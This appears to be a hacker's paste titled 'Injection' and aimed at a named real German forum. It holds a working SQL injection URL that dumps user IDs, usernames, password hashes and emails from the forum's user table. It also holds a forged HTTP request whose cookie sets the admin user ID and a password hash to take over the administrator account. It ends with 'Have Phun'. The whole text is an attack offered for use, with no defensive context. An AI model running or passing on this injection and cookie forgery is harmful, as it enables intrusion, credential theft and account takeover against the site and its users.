Injection
http://www.rettungsforum.net/wbb2/links.php?cat=-2/**/union/**/all/**/select/**/unhex(hex(0x4c31676874)),concat_ws%280x207c20,userid,username,password,email)/**/from/**/bb1_users+limit/**/0,1--
Admin-Cookie
Host: www.rettungsforum.net
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer:
Cookie: cookiehash=1337; lastvisit=L1ght; wbb_userid=1; wbb_userpassword=6442df8e6162a68a749d52fc3c3d8bac
Connection: keep-alive
If-Modified-Since: Mon, 09 Dec 2013 06:03:53 GMT
Have Phun